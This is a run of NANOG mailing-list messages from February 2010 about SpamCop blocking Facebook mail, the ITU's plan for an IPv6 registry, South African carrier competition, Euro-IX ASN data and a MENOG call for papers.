wrote: >> Internet connectivity here in 'deepest darkest Africa' is actually quite >> advanced ;-) > > and the most expensive you can imagine. welcome to a telkom monopoly. The monopoly is over! There are now over 300 licensed operators and the infrastructure build-out is busy happening right now. Most of the major metro areas have at least 4 carrier grade access networks fighting for your business and there are hundreds of small operators and connectivity providers that will sell you services at various SLAs. :-) -- Graham Beneke From deleskie at gmail.com Fri Feb 26 00:12:07 2010 From: deleskie at gmail.com (deleskie at gmail.com) Date: Fri, 26 Feb 2010 06:12:07 +0000 Subject: Spamcop Blocks Facebook? Message-ID: <1047489384-1267164733-cardhu_decombobulator_blackberry.rim.net-363809049-@bda006.bisx.prod.on.blackberry> Maybe I'm wrong on this, and I'm not a mailadmin anywhere nor have I been or pretended to have been in the past. But I'm pretty sure FB only sends you mail based on the prefrences you choose, and I know this is the answer you where given so mostly a statement. How does that equal spam :) ------Original Message------ From: Reed Loden To: nanog at nanog.org Subject: Re: Spamcop Blocks Facebook? Sent: Feb 26, 2010 12:46 AM On Thu, 25 Feb 2010 19:14:37 -0800 Shon Elliott wrote: > Anyone from Facebook or Spamcop lurking around to look into this? It's quite > annoying.. I can't imagine how many other users are scratching their heads on > this one... I'm a long-time SpamCop member, so I forwarded your mail to the deputies. They are aware that facebook's servers have been sporadically listed, and one of them specifically said the following: "Not much we can do about the listings. They're sending spam to our traps in large enough numbers that raises the score to a listing level. If Facebook were to follow best practices the spam complaints and trap hits would drop to levels that keeps them from getting listed." ~reed -- Reed Loden - Sent from my BlackBerry device on the Rogers Wireless Network From mdodd at doddserver.com Fri Feb 26 00:19:44 2010 From: mdodd at doddserver.com (Matthew Dodd) Date: Fri, 26 Feb 2010 01:19:44 -0500 Subject: Spamcop Blocks Facebook? In-Reply-To: <1047489384-1267164733-cardhu_decombobulator_blackberry.rim.net-363809049-@bda006.bisx.prod.on.blackberry> References: <1047489384-1267164733-cardhu_decombobulator_blackberry.rim.net-363809049-@bda006.bisx.prod.on.blackberry> Message-ID: Hmm this just me of this post, where supposedly Facebook will be making the move into Webmail for its users. Interesting. Coincidence or not!?!? http://techcrunch.com/2010/02/05/facebooks-project-titan-a-full-featured-webmail-product/ -Matt Dodd On Feb 26, 2010, at 1:12 AM, deleskie at gmail.com wrote: > Maybe I'm wrong on this, and I'm not a mailadmin anywhere nor have I been or pretended to have been in the past. But I'm pretty sure FB only sends you mail based on the prefrences you choose, and I know this is the answer you where given so mostly a statement. How does that equal spam :) > ------Original Message------ > From: Reed Loden > To: nanog at nanog.org > Subject: Re: Spamcop Blocks Facebook? > Sent: Feb 26, 2010 12:46 AM > > On Thu, 25 Feb 2010 19:14:37 -0800 > Shon Elliott wrote: > >> Anyone from Facebook or Spamcop lurking around to look into this? It's quite >> annoying.. I can't imagine how many other users are scratching their heads on >> this one... > > I'm a long-time SpamCop member, so I forwarded your mail to the > deputies. They are aware that facebook's servers have been > sporadically listed, and one of them specifically said the following: > > "Not much we can do about the listings. They're sending spam to our > traps in large enough numbers that raises the score to a listing level. > If Facebook were to follow best practices the spam complaints and > trap hits would drop to levels that keeps them from getting listed." > > ~reed > > -- > Reed Loden - > > > > Sent from my BlackBerry device on the Rogers Wireless Network From shon at unwiredbb.com Fri Feb 26 00:31:17 2010 From: shon at unwiredbb.com (Shon Elliott) Date: Thu, 25 Feb 2010 22:31:17 -0800 Subject: Spamcop Blocks Facebook? In-Reply-To: <20100225224640.94928e6a.reed@reedloden.com> References: <4B873C9D.1030204@unwiredbb.com> <20100225224640.94928e6a.reed@reedloden.com> Message-ID: <4B876AB5.8040203@unwiredbb.com> Yep. I understand that. Which is why I asked if anyone from Facebook or Spamcop was lurking around. Since Facebook knows they have an issue, how about hearing from someone over there at Facebook regarding this issue? Like it or not, Facebook is a very popular service. Regardless whether they use it for good or bad purposes, it is what it is, and both innocent and not-so-innocent people use it. That in itself makes this a huge dilemma that I hope someone from Facebook would be lurking here might address. As others have said in this thread, Facebook only sends e-mail you specifically approve.. I'm just saying something before my customers call me to complain about it... and I know they will. -S Reed Loden wrote: > On Thu, 25 Feb 2010 19:14:37 -0800 > Shon Elliott wrote: > >> Anyone from Facebook or Spamcop lurking around to look into this? It's quite >> annoying.. I can't imagine how many other users are scratching their heads on >> this one... > > I'm a long-time SpamCop member, so I forwarded your mail to the > deputies. They are aware that facebook's servers have been > sporadically listed, and one of them specifically said the following: > > "Not much we can do about the listings. They're sending spam to our > traps in large enough numbers that raises the score to a listing level. > If Facebook were to follow best practices the spam complaints and > trap hits would drop to levels that keeps them from getting listed." > > ~reed > From bbillon-ml at splio.fr Fri Feb 26 00:44:23 2010 From: bbillon-ml at splio.fr (Benjamin Billon) Date: Fri, 26 Feb 2010 07:44:23 +0100 Subject: Spamcop Blocks Facebook? In-Reply-To: <1047489384-1267164733-cardhu_decombobulator_blackberry.rim.net-363809049-@bda006.bisx.prod.on.blackberry> References: <1047489384-1267164733-cardhu_decombobulator_blackberry.rim.net-363809049-@bda006.bisx.prod.on.blackberry> Message-ID: <4B876DC7.5000006@splio.fr> > Maybe I'm wrong on this, and I'm not a mailadmin anywhere nor have I been or pretended to have been in the past. But I'm pretty sure FB only sends you mail based on the prefrences you choose, and I know this is the answer you where given so mostly a statement. How does that equal spam :) > Invitations. Kind of Bulk. Never asked. Unwanted. Coming again and again. Boring. Spam. They keep storing email addresses without their consent. Not even mentioning project Titan. If FB users sends emails to themselves, that's their problem indeed. If they complain about these emails, that's FB problem to have dumb users. If recipients with nothing to do with FB receive unwanted emails, that's FB problem to find a way to stop that. From awaite at tuenti.com Fri Feb 26 06:03:01 2010 From: awaite at tuenti.com (Adam Waite) Date: Fri, 26 Feb 2010 13:03:01 +0100 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] Message-ID: <4B87B875.6000509@tuenti.com> I didn't see this on NANOG yet, but it's caused a stir on the RIPE list. -------------- next part -------------- An embedded message was scrubbed... From: Axel Pawlik Subject: [Admin] [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group Date: Thu, 25 Feb 2010 17:20:18 +0100 Size: 7208 URL: From brandon.kim at brandontek.com Fri Feb 26 07:47:57 2010 From: brandon.kim at brandontek.com (Brandon Kim) Date: Fri, 26 Feb 2010 08:47:57 -0500 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <4B87B875.6000509@tuenti.com> References: <4B87B875.6000509@tuenti.com> Message-ID: Interesting, why is it causing quite a stir? Is it because they are trying to allocate a large pool of addresses? Date: Fri, 26 Feb 2010 13:03:01 +0100 From: awaite at tuenti.com To: nanog at nanog.org Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] I didn't see this on NANOG yet, but it's caused a stir on the RIPE list. --Forwarded Message Attachment-- From: ncc at ripe.net To: ncc-announce at ripe.net Date: Thu, 25 Feb 2010 17:20:18 +0100 Subject: [Admin] [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group Dear Colleagues, As you may be aware, the International Telecommunication Union's (ITU) Telecommunication Standardization Bureau (TSB) has convened an ITU IPv6 Group, the first meeting of which will be held on 15-16 March 2010 in Geneva, Switzerland. Information on this group is available at: http://www.itu.int/ITU-T/othergroups/ipv6/ Among the group's Terms of Reference are the following: * To draft a global policy proposal for the reservation of a large IPv6 block, taking into consideration the future needs of developing countries (as outlined in paragraph 23 of ITU document C09/29). * To further study possible methodologies and related implementation mechanisms to ensure 'equitable access' to IPv6 resource by countries. * To further study the possibility for ITU to become another Internet Registry, and propose policies and procedures for ITU to manage a reserved IPv6 block. * To further study the feasibility and advisability of implementing the CIR [Country Internet Registry] model for those countries who would request national allocations. The ITU IPv6 Group is open to ITU Member States and Sector Members of ITU-T and ITU-D. RIRs that are not members have also been extended an invitation to participate. IPv6 address policy is clearly of critical importance to the RIPE NCC membership, and the unsympathetic implementation of any of the Terms of Reference stated above would have serious impact on the global IP address distribution environment. Members of RIPE NCC staff will be participating in this meeting of the ITU IPv6 Group to represent the interests of our members and community. The position of the RIPE NCC is based on support for smooth and reliable working of the Internet globally, and for the bottom-up, open policy development process that allows for all stakeholders, including business, government and the technical community, to participate. Some of the issues addressed in the Terms of Reference listed above are a cause for concern because they could directly affect the RIPE NCC operations as a Regional Internet Registry (RIR). Therefore, the RIPE NCC position on the Terms of Reference is as follows: * The needs of developing economies in IP address policy are important. Network operators in these economies have fair and equal access to IPv6 resources from the Regional Internet Registries (RIRs), and to the Policy Development Processes in their RIR and globally. Each of the RIRs has been allocated an equal block of IPv6 to distribute to networks in their region. (eg. AfriNIC has been allocated the same sized block of IPv6 as the RIPE NCC). * IPv6 allocations made by RIRs to date amount to the equivalent of 500 times the size of the entire IPv4 address pool, allocated to networks in over 150 economies. * If a significant sector in the Internet community feels that the "reservation of a large IPv6 block" for "the future needs of developing countries" is warranted, the open, bottom-up Policy Development Processes (PDPs) of the RIRs provide an appropriate forum in which to argue that case and develop such a policy. * The RIRs, as the recognised stewards of Internet Number Resources, are working, individually, jointly, and with invited experts, to engage the ITU membership. We have closely followed discussions in the ITU to date. The RIPE NCC does not believe that there are any problems that would be solved by the shift to a country-based allocation system or the installation of the ITU as an Internet Registry. The purpose of this email is to ensure that all RIPE NCC members are informed of the RIPE NCC's participation in this ITU IPv6 Group, and our position. If you have any comments or questions regarding this information, please send an email to . Kind regards, Axel Pawlik Managing Director RIPE NCC ---- If you don't want to receive mails from the RIPE NCC Members Discuss list, please log in to your LIR Portal account at: http://lirportal.ripe.net/ First click on General and then click on Edit. At the bottom of the Page you can add or remove addresses. From jared at puck.nether.net Fri Feb 26 07:55:04 2010 From: jared at puck.nether.net (Jared Mauch) Date: Fri, 26 Feb 2010 08:55:04 -0500 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <4B87B875.6000509@tuenti.com> Message-ID: On Feb 26, 2010, at 8:47 AM, Brandon Kim wrote: > Interesting, why is it causing quite a stir? Is it because they are trying to allocate a large > pool of addresses? For those of you that are unaware, it is possible to contact the State Department to get involved with ITU activities and be added to their mailing lists to discuss these positions. - Jared From tme at americafree.tv Fri Feb 26 08:19:06 2010 From: tme at americafree.tv (Marshall Eubanks) Date: Fri, 26 Feb 2010 09:19:06 -0500 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <4B87B875.6000509@tuenti.com> Message-ID: On Feb 26, 2010, at 8:55 AM, Jared Mauch wrote: > > On Feb 26, 2010, at 8:47 AM, Brandon Kim wrote: > >> Interesting, why is it causing quite a stir? Is it because they are >> trying to allocate a large >> pool of addresses? > > For those of you that are unaware, it is possible to contact the > State Department to get involved with ITU activities and be added to > their mailing lists to discuss these positions. I, for one, did not know this. The State Department is a rather large organization. Can you provide a link or a reference to the appropriate way to do this ? Regards Marshall > > - Jared > From mansaxel at besserwisser.org Fri Feb 26 08:24:17 2010 From: mansaxel at besserwisser.org (Mans Nilsson) Date: Fri, 26 Feb 2010 15:24:17 +0100 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <4B87B875.6000509@tuenti.com> Message-ID: <20100226142417.GC10598@besserwisser.org> Subject: RE: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU?IPv6 Group] Date: Fri, Feb 26, 2010 at 08:47:57AM -0500 Quoting Brandon Kim (brandon.kim at brandontek.com): > > > Interesting, why is it causing quite a stir? Is it because they are trying to allocate a large > pool of addresses? The ITU is sulking because noone cares about them anymore; everybody just runs IP instead of being obedient Phone Company customers and using E.164 numbers. By becoming provider of IPv6 space the ITU hopes to restore the notion of country code addresses and also to again become a power factor in datacom. It is no coincidence that this wacky idea centers around developing countries; since one country -- one vote still is the norm for much ITU work this is a way to move power distribution back from an economy driven model (where actual usage and amount of money invested in operations matter) to a national-state model where Internet-heavy information economies like North Korea or Bangladesh have equal voting rights as USA or Japan. -- M?ns Nilsson primary/secondary/besserwisser/machina MN-1334-RIPE +46 705 989668 Will the third world war keep "Bosom Buddies" off the air? -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 194 bytes Desc: not available URL: From jmamodio at gmail.com Fri Feb 26 09:40:26 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 26 Feb 2010 09:40:26 -0600 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <4B87B875.6000509@tuenti.com> Message-ID: <202705b1002260740t3252c74en31353af3d67cb72b@mail.gmail.com> > Interesting, why is it causing quite a stir? Is it because they are trying to allocate a large > pool of addresses? ITU is trying to stay relevant and justify its existence, over the years they have been loosing their grip over telecom and networking standards. This last move to grab a chunk of IPv6 address space and become a registry does not have any valid justification and some of the reasons they have been crying out load at the IGF and ICANN meetings, all circle around ICANN's monopoly and USG control of some network resources. There is an "ecosystem" that grew up around these organizations where too many people/corporations are milking from and everybody wants to be in control of (or have a part of it) the cows. I don't know if already happened but ethernet (local, metro, wide) and TCP/IP are probably today the most deployed data communication technologies, add VoIP, keep few of the encoding and mobile (for a while) standards and I guess nobody needs ITU-T anymore, or do we ? Cheers Jorge From serge at euro-ix.net Fri Feb 26 10:07:33 2010 From: serge at euro-ix.net (Serge Radovcic) Date: Fri, 26 Feb 2010 17:07:33 +0100 Subject: Euro-IX ASN Tools updated Message-ID: After several peering community requests we have now extended our ASN tool set to allow searches on not only European IXP participants but also those in other regions. The Euro-IX ASN database has some 9.200 entries of participants from 280 IXPs from around the globe. The data stored in our ASN database is a culmination of our member IXPs updating their records, all relevant entries from the peeringDB and me trawling through the rest of the IXP websites. I don't claim that this set of data is exhaustive but we do our very best! The data stored looks something like this. Europe: IXP Participants - 5,383 Unique ASNs - 2,952 Asia-Pacific: IXP Participants - 1,102 Unique ASNs - 635 North America: IXP Participants - 2,015 Unique ASNs - 832 South America: IXP Participants - 274 Unique ASNs - 158 Africa: IXP Participants - 199 Unique ASNs - 111 Global: IXP Participants - 9,199 Unique ASNs - 4,519 So you can get a closer look at these ASNs by searching in the Euro-IX ASN database: https://www.euro-ix.net/member/m/isp/choosing/ixpmembers/search Or having look at the ASN filter that now includes all 280 IXPs: https://www.euro-ix.net/member/m/asnfilter And for fun we have a list of ASNs that peer at 10 or more IXPs globally: https://www.euro-ix.net/multixp.php I will be at APRICOT 2010 KL from this Sunday to Wednesday if anyone wants to chat with me about this data. Serge From tvest at eyeconomics.com Fri Feb 26 10:29:19 2010 From: tvest at eyeconomics.com (Tom Vest) Date: Fri, 26 Feb 2010 11:29:19 -0500 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <4B87B875.6000509@tuenti.com> Message-ID: <6A18DB18-FAA1-486A-B694-399EBE72C87F@eyeconomics.com> On Feb 26, 2010, at 9:19 AM, Marshall Eubanks wrote: > > On Feb 26, 2010, at 8:55 AM, Jared Mauch wrote: > >> >> On Feb 26, 2010, at 8:47 AM, Brandon Kim wrote: >> >>> Interesting, why is it causing quite a stir? Is it because they are trying to allocate a large >>> pool of addresses? >> >> For those of you that are unaware, it is possible to contact the State Department to get involved with ITU activities and be added to their mailing lists to discuss these positions. > > I, for one, did not know this. > > The State Department is a rather large organization. Can you provide a link or a reference to the appropriate way to do this ? > > Regards > Marshall Hi Marshall, Contact Anne Jillson and she'll set you up. Cheers, TV > Begin forwarded message: > >> From: "Jillson, Anne D" >> Date: January 4, 2010 12:05:16 PM EST >> To: ITAC at LMLIST.STATE.GOV >> Subject: [ITAC] U.S. Delegation for the ITU Council Working Group Meetings, Jan. 25 - Feb. 5, Geneva >> Reply-To: "Jillson, Anne D" >> >> We need to start forming the U.S. Delegation to the ITU Council Working Group Meetings that begin in three weeks in Geneva. If you are interested in being part of the U.S. delegation, please reply to jillsonas at state.gov no later than this Friday, Jan. 8. Please indicate if you only plan to participate in some of the meetings. >> >> Thanks. >> >> Anne >> >> Anne Jillson >> International Communications and Information Policy >> EEB/CIP/MA >> ASRC Management Services Contractor >> Department of State >> Tel: 202-647-2592 >> Fax: 202-647-7407 From randy at psg.com Fri Feb 26 10:43:50 2010 From: randy at psg.com (Randy Bush) Date: Fri, 26 Feb 2010 11:43:50 -0500 Subject: ISP in Johannesburg in Southdafrika In-Reply-To: <4B875EEF.4040409@apolix.co.za> References: <938796c5902f300ac020c86f6ffb8c48@apolix.co.za> <4B875EEF.4040409@apolix.co.za> Message-ID: <4B87FA46.2040804@psg.com> On 2010-02-26 00:41, Graham Beneke wrote: > On 26/02/2010 04:08, Randy Bush wrote: >>> Internet connectivity here in 'deepest darkest Africa' is actually quite >>> advanced ;-) >> >> and the most expensive you can imagine. welcome to a telkom monopoly. > > The monopoly is over! how many carriers with international fiber? randy From wavetossed at googlemail.com Fri Feb 26 10:47:13 2010 From: wavetossed at googlemail.com (Michael Dillon) Date: Fri, 26 Feb 2010 16:47:13 +0000 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <4B87B875.6000509@tuenti.com> Message-ID: <877585b01002260847q27b2dce9ra4a897e5b4749153@mail.gmail.com> > For those of you that are unaware, it is possible to contact the State Department to get involved with ITU activities and be added to their mailing lists to discuss these positions. In addition, if you work for a largish company, they probably have a regulatory department which may already have someone involved in ITU standardisation activities, or already involved with the State Department, or involved with the FCC. So it would be a good idea to hunt around internally (contact legal and ask them if they know of anyone dealing with regulatory issues) and then liaise with that person. In particular, if your employer is a telco, it is unlikely that the regulatory liaison knows anything about the self-regulatory RIR system, and maybe some education is in order. I believe the ITU intends to set themselves up as an alternative to the RIRs with a large IANA allocation, if they can get it. --Michael Dillon From gordslater at ieee.org Fri Feb 26 10:52:21 2010 From: gordslater at ieee.org (gordon b slater) Date: Fri, 26 Feb 2010 16:52:21 +0000 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <202705b1002260740t3252c74en31353af3d67cb72b@mail.gmail.com> References: <4B87B875.6000509@tuenti.com> <202705b1002260740t3252c74en31353af3d67cb72b@mail.gmail.com> Message-ID: <1267203141.26166.8.camel@ub-g-d2> On Fri, 2010-02-26 at 09:40 -0600, Jorge Amodio wrote: > I guess nobody needs ITU-T anymore, or do we ? ZCZC well, from vague memory, H.264, G711/729, H323, X.509 were/are ITU-T standards - maybe X.25 too though I could have that one wrong. I'll just sit on the fence: as an old radiocomms guy, I'd say ITU-_R_ is still very relevant if you guys DON'T want to watch/listen N. Korean or Bangladeshi TV/radio on your home Sat systems or car radios, to name a couple of recently quoted countries :) But ITU-T? That's one for the VoIP guys to shout about. de Gord NNNN From tme at americafree.tv Fri Feb 26 10:54:27 2010 From: tme at americafree.tv (Marshall Eubanks) Date: Fri, 26 Feb 2010 11:54:27 -0500 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: <6A18DB18-FAA1-486A-B694-399EBE72C87F@eyeconomics.com> References: <4B87B875.6000509@tuenti.com> <6A18DB18-FAA1-486A-B694-399EBE72C87F@eyeconomics.com> Message-ID: On Feb 26, 2010, at 11:29 AM, Tom Vest wrote: > > On Feb 26, 2010, at 9:19 AM, Marshall Eubanks wrote: > >> >> On Feb 26, 2010, at 8:55 AM, Jared Mauch wrote: >> >>> >>> On Feb 26, 2010, at 8:47 AM, Brandon Kim wrote: >>> >>>> Interesting, why is it causing quite a stir? Is it because they >>>> are trying to allocate a large >>>> pool of addresses? >>> >>> For those of you that are unaware, it is possible to contact the >>> State Department to get involved with ITU activities and be added >>> to their mailing lists to discuss these positions. >> >> I, for one, did not know this. >> >> The State Department is a rather large organization. Can you >> provide a link or a reference to the appropriate way to do this ? >> >> Regards >> Marshall > > Hi Marshall, > > Contact Anne Jillson and she'll set you up. > > Cheers, Dear Tom; Thank you very much. Is there a list of these mailing lists anywhere ? Regards Marshall > > TV > >> Begin forwarded message: >> >>> From: "Jillson, Anne D" >>> Date: January 4, 2010 12:05:16 PM EST >>> To: ITAC at LMLIST.STATE.GOV >>> Subject: [ITAC] U.S. Delegation for the ITU Council Working Group >>> Meetings, Jan. 25 - Feb. 5, Geneva >>> Reply-To: "Jillson, Anne D" >>> >>> We need to start forming the U.S. Delegation to the ITU Council >>> Working Group Meetings that begin in three weeks in Geneva. If >>> you are interested in being part of the U.S. delegation, please >>> reply to jillsonas at state.gov no later than this Friday, Jan. >>> 8. Please indicate if you only plan to participate in some of >>> the meetings. >>> >>> Thanks. >>> >>> Anne >>> >>> Anne Jillson >>> International Communications and Information Policy >>> EEB/CIP/MA >>> ASRC Management Services Contractor >>> Department of State >>> Tel: 202-647-2592 >>> Fax: 202-647-7407 > > From mehmet at akcin.net Fri Feb 26 11:05:11 2010 From: mehmet at akcin.net (Mehmet Akcin) Date: Fri, 26 Feb 2010 12:05:11 -0500 Subject: MENOG6 Call for Papers Message-ID: <4110B588-4D6C-4057-93FF-05055AB516D3@akcin.net> Colleagues thought it would be useful to send this to few lists who have interest in doing / extending their business in Middle East. Looking forward to see you all in Riyadh! Mehmet Akcin / MENOG Programme Committee Middle East Network Operators Group (MENOG) Riyadh, Saudi Arabia 10 - 14 April 2010 http://www.menog.net Call for Papers The MENOG Programme Committee is now seeking contributions to the programme for MENOG 6. We would like to invite people to submit their presentation proposals as soon as possible to help us produce the programme in a timely fashion. We would also like to encourage people through out the Middle East region who have not previously presented their work to do so. We are looking for people who would : * Offer a technical tutorial on an appropriate topic; and/or * Participate in the technical conference sessions as a speaker. * Share their local experience with any of the fields of interest for MENOG. Presentation proposals can be submitted at: http://submission.menog.net/paper/user/login.php?event=23 MENOG 6 FORMAT -------------- MENOG 6 will run for 5 days, and will include 3 days of hands-on technical workshops, followed by Opening and Closing Plenaries, several Technical Conference sessions including updates from the RIPE NCC, as well half a day of tutorials. Workshop 10th-12th Tutorials 13th (morning) Conference 13th (afternoon) and 14th CONFERENCE MILESTONES --------------------- Call for Papers Opens: now Deadline for Speaker Submissions: 15th March 2010 Final Slides: 10th April 2010 Final Programme Published: 22nd March 2010 TECHNICAL CONFERENCE -------------------- Each Technical session in MENOG will last 90 minutes - multiple sessions can be cover one subject area if there is demand. A 90 minute session allows presentations to be up to 25 minutes in length, meaning 3 presentations per session and some time for Q&A. Longer presentations should be submitted as tutorials. The Technical Conference commences after lunchtime on the 13th of April. Expected subject areas for MENOG 6 include: 1. HTTP and Non-HTTP Content Filtering; Anti-spam 2 Internationalised Domain Names (IDN) and Localisation 3. NREN (National Research and Education Networks) 4. ISP Operations, Peering and Internet Exchange Points 5. SP Network Security 6. IPv4 depletion/IPv6 deployment 7. Datacentres, Applications & Services 8. VSAT technologies TUTORIALS ---------- Tutorials are 90 minute technical presentations which focus on a particular subject in-depth. Tutorials will take place on the morning of the 13th of April. Tutorial Instructors are encouraged to also sign up to be a Speaker in the Technical Conference Programme as well. You can sign up to give a tutorial and/or conference session presentation by following the instructions at the end of this message for signing up as a speaker or instructor. Examples of Tutorial topics might be: - Network security, IPSec, Auditing/Forensics, DDoS Mitigation - Routing, Network Design, BGP - IPv6 deployment - IDN, Localisation - Content filtering & anti-spam - Network planning, management and traffic engineering - Internet exchanges, construction, peering and collocation - Operations, NOC, Helpdesk and other support aspects - DNS and DNSSEC If you have an idea for a tutorial subject that is not listed, please feel free to submit it to us. CFP SUBMISSION -------------- When considering a presentation or tutorial, remember that the MENOG audience is mainly comprised of technical network operators and engineers with a wide range of experience levels from beginners to multi-year experience. There is a strong orientation to offer core skills and basic knowledge in the tutorials and to address issues relevant to the day-to-day operations of ISPs and network operators over the next 12 - 18 months in the conference sessions. Draft slides for both tutorials and conference sessions MUST be provided with CfP submissions. The Programme Committee cannot consider a presentation proposal without accompanying draft slides. While the majority of speaking slots will be allocated by 15th of March 2010, a limited number of slots may be available after then for presentations that are exceptionally timely, important, or of critical operational importance. IMPORTANT NOTE -------------- MENOG is a TECHNICAL conference so marketing and commercial content is not allowed within the programme. The programme committee will maintain the technical standard of MENOG, and will therefore not accept inappropriate materials. It is expected that the presenter be a technical person and not a sales or marketing person. The audience is extremely technical and expects that the speakers are themselves very knowledgeable. All sessions provide time for questions, so presenters should expect technical questions and be prepared to deliver insightful and technically deep responses. FUNDING AND SUPPORT ------------------- MENOG is a not-for-profit event that is trying to make the conference as close to zero cost as possible for attendees; therefore we are unable to pay the travel costs of speakers. -- From oberman at es.net Fri Feb 26 11:09:24 2010 From: oberman at es.net (Kevin Oberman) Date: Fri, 26 Feb 2010 09:09:24 -0800 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: Your message of "Fri, 26 Feb 2010 16:52:21 GMT." <1267203141.26166.8.camel@ub-g-d2> Message-ID: <20100226170924.99ADB1CC0E@ptavv.es.net> > From: gordon b slater > Date: Fri, 26 Feb 2010 16:52:21 +0000 > > On Fri, 2010-02-26 at 09:40 -0600, Jorge Amodio wrote: > > I guess nobody needs ITU-T anymore, or do we ? > > ZCZC > > well, from vague memory, H.264, G711/729, H323, X.509 were/are ITU-T > standards - maybe X.25 too though I could have that one wrong. > > I'll just sit on the fence: as an old radiocomms guy, I'd say ITU-_R_ is > still very relevant if you guys DON'T want to watch/listen N. Korean or > Bangladeshi TV/radio on your home Sat systems or car radios, to name a > couple of recently quoted countries :) > > But ITU-T? That's one for the VoIP guys to shout about. No, it is one for everyone who does networking to shout about! ITU is exactly the sort of organization I DON'T want to see in control of the Internet. If you think IETF has gotten to unmanageable, wait until you deal with the ITU-T. It is VERY lawyer heavy. I had to attend some X.400/X.500 meetings and, while the lawyers were never "running" anything, most of the technical people could only speak through the lawyers and the suits out-numbered the techies by almost two to one. And this was a low-level working group. I understand it gets worse as you move up the ladder. The network revolution has left the ITU-T very little to do (at least compared to the old telco days) and they show every sign of wanting to bring all of us wild IP folks under control. Oh, and X.25 and X.509 are from an older organization that merged into the ITU-T when it was created, the CCITT (International Telegraph and Telephone Consultative Committee). It became the ITU-T in 1992. -- R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman at es.net Phone: +1 510 486-8634 Key fingerprint:059B 2DDF 031C 9BA3 14A4 EADA 927D EBB3 987B 3751 From graham at apolix.co.za Fri Feb 26 11:25:42 2010 From: graham at apolix.co.za (Graham Beneke) Date: Fri, 26 Feb 2010 19:25:42 +0200 Subject: ISP in Johannesburg in Southdafrika In-Reply-To: <4B87FA46.2040804@psg.com> References: <938796c5902f300ac020c86f6ffb8c48@apolix.co.za> <4B875EEF.4040409@apolix.co.za> <4B87FA46.2040804@psg.com> Message-ID: <4B880416.1070707@apolix.co.za> On 26/02/2010 18:43, Randy Bush wrote: > On 2010-02-26 00:41, Graham Beneke wrote: >> On 26/02/2010 04:08, Randy Bush wrote: >>>> Internet connectivity here in 'deepest darkest Africa' is actually >>>> quite >>>> advanced ;-) >>> >>> and the most expensive you can imagine. welcome to a telkom monopoly. >> >> The monopoly is over! > > how many carriers with international fiber? I can think of six operators lighting their own fiber to the borders and the landing stations of the various cable systems. Additional to that - I know of dozens of operators running their own international L2 circuits and lighting their own metro and national fiber. Its still early days and there much work still left to do before the effects of the past monopoly is fully overcome. Why is it so hard for you to believe that things are changing for the better? -- Graham Beneke From bobp+nanog at webster.tsc.com Fri Feb 26 11:56:38 2010 From: bobp+nanog at webster.tsc.com (Bob Poortinga) Date: Fri, 26 Feb 2010 12:56:38 -0500 Subject: Spamcop Blocks Facebook? In-Reply-To: <4B873C9D.1030204@unwiredbb.com> References: <4B873C9D.1030204@unwiredbb.com> Message-ID: <20100226175638.GA2396@tico.tsc.com> Shon Elliott writes: > Feb 25 19:08:18 postfix/smtpd[12682]: NOQUEUE: reject: RCPT from > outmail011.snc1.tfbnw.net[69.63.178.170]: 554 5.7.1 Service unavailable; > host [69.63.178.170] blocked using bl.spamcop.net; Blocked - see > http://www.spamcop.net/bl.shtml?69.63.178.170; Using the Spamcop BL *solely* as the basis for rejecting mail is a sure way to lose wanted email. From Spamcop's website: "... SpamCop encourages use of the SCBL in concert with an actively maintained whitelist of wanted email senders. SpamCop encourages SCBL users to tag and divert email, rather than block it outright." "The SCBL is aggressive and often errs on the side of blocking mail... Many mailservers operate with blacklists in a "tag only" mode, which is preferable in many situations." IMO, the best use of the SCBL is as a scoring metric with Spam Assassin. Additional discussion should be directed to SPAM-L. -- Bob Poortinga K9SQL Bloomington, Indiana US From randy at psg.com Fri Feb 26 12:01:52 2010 From: randy at psg.com (Randy Bush) Date: Fri, 26 Feb 2010 10:01:52 -0800 Subject: ISP in Johannesburg in Southdafrika In-Reply-To: <4B880416.1070707@apolix.co.za> References: <938796c5902f300ac020c86f6ffb8c48@apolix.co.za> <4B875EEF.4040409@apolix.co.za> <4B87FA46.2040804@psg.com> <4B880416.1070707@apolix.co.za> Message-ID: > I can think of six operators lighting their own fiber to the borders > and the landing stations of the various cable systems. Additional to > that - I know of dozens of operators running their own international > L2 circuits and lighting their own metro and national fiber. no intl L1? > Why is it so hard for you to believe that things are changing for the > better? because i have dealt with the effects of that particular monopoly for over twenty years. and it has been among the most pernicious in africa. randy From sethm at rollernet.us Fri Feb 26 12:04:49 2010 From: sethm at rollernet.us (Seth Mattinen) Date: Fri, 26 Feb 2010 10:04:49 -0800 Subject: Spamcop Blocks Facebook? In-Reply-To: <20100226175638.GA2396@tico.tsc.com> References: <4B873C9D.1030204@unwiredbb.com> <20100226175638.GA2396@tico.tsc.com> Message-ID: <4B880D41.8050306@rollernet.us> On 2/26/10 9:56 AM, Bob Poortinga wrote: > Shon Elliott writes: > 